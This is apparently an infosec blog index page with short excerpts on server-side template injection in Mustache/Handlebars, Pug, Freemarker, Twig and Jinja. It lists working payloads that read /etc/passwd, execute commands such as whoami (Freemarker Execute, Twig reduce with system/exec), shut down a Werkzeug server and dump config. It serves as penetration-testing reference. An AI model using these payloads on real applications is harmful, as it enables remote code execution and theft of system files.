akde/infosec

Click Here

  • Mustache and Handlebar Template Engine

    Mus­tache is a tem­plate engine, used in var­i­ous frame­works. It is “log­ic less”, it sup­ports if statemets, but it does not have many log­i­cal operations. Han­dle­bar is an exten­sion of Mus­tache with more capabilities. Read vari­ables: {{name}} With han­dle­bar, try to read a file: {{read "/etc/passwd"}} Or try to list a directory: {{#each (readdir "/etc")}} {{this}}{{/each}}

  • Pug Template Engine

    Pug (pre­vi­ous­ly known as Jade) is a JavaScript tem­plate engine, used with node­js or express applications. Show­ing a val­ue of a vari­able: (Impor­tant: With­out a “HTML func­tion” like p, there is noth­ing to show) p #{name} The input state­ment cre­ates a hid­den field: input(type='hidden' name='secret' value='42') Pro­voke an error: #{"a" * 5} // Should produce an error#{"5" *…

  • Freemarker template engine

    Apache Freemark­er is a tem­plate engine, some­times used with Java application. Old­er Freemark­er engines did not pre­vent HTML in strings. There­fore, try in a field some­thing like this: Ha<b>llo</b> Show the val­ue of a variable: ${var} Exe­cu­tion to force an error message: ${'a'*5} RCE: ${"freemarker.template.utility.Execute"?new()("whoami")}

  • Twig Template Engine

    Twig is a MVC-based tem­plate engine for PHP. Doc­u­men­ta­tion Out­put a value: {{ var }} Force a error, e.g. via a invalid operation: {{'a' * 5}} Con­cata­na­tion of strings: {{ 'a' ~ 'a' }} The reduce method take a func­tion and then para­me­ters… (It’s a PHP tem­plate engine, remember?) {{ [0]|reduce('system','whoami')}}{{ [0]|reduce('exec', 'whoami') }}{{ [0]|reduce('shell_exec', 'whoami') }}{{…

  • Jinja template langauge (Python, …)

    Check with {{ 7+3 }} if this is exe­cut­ed, if a Python inter­preter is using the tem­plate jin­ja engine. {{ 7+3 }}{{[].__class__.__base__.__subclasses__().pop(40)('etc/passwd').read() }}{{ request.environ[‘werkzeug.server.shutdown’]() }} // ...{{ config.items() }} // Read all config variables{{ config|pprint }} Exam­ple: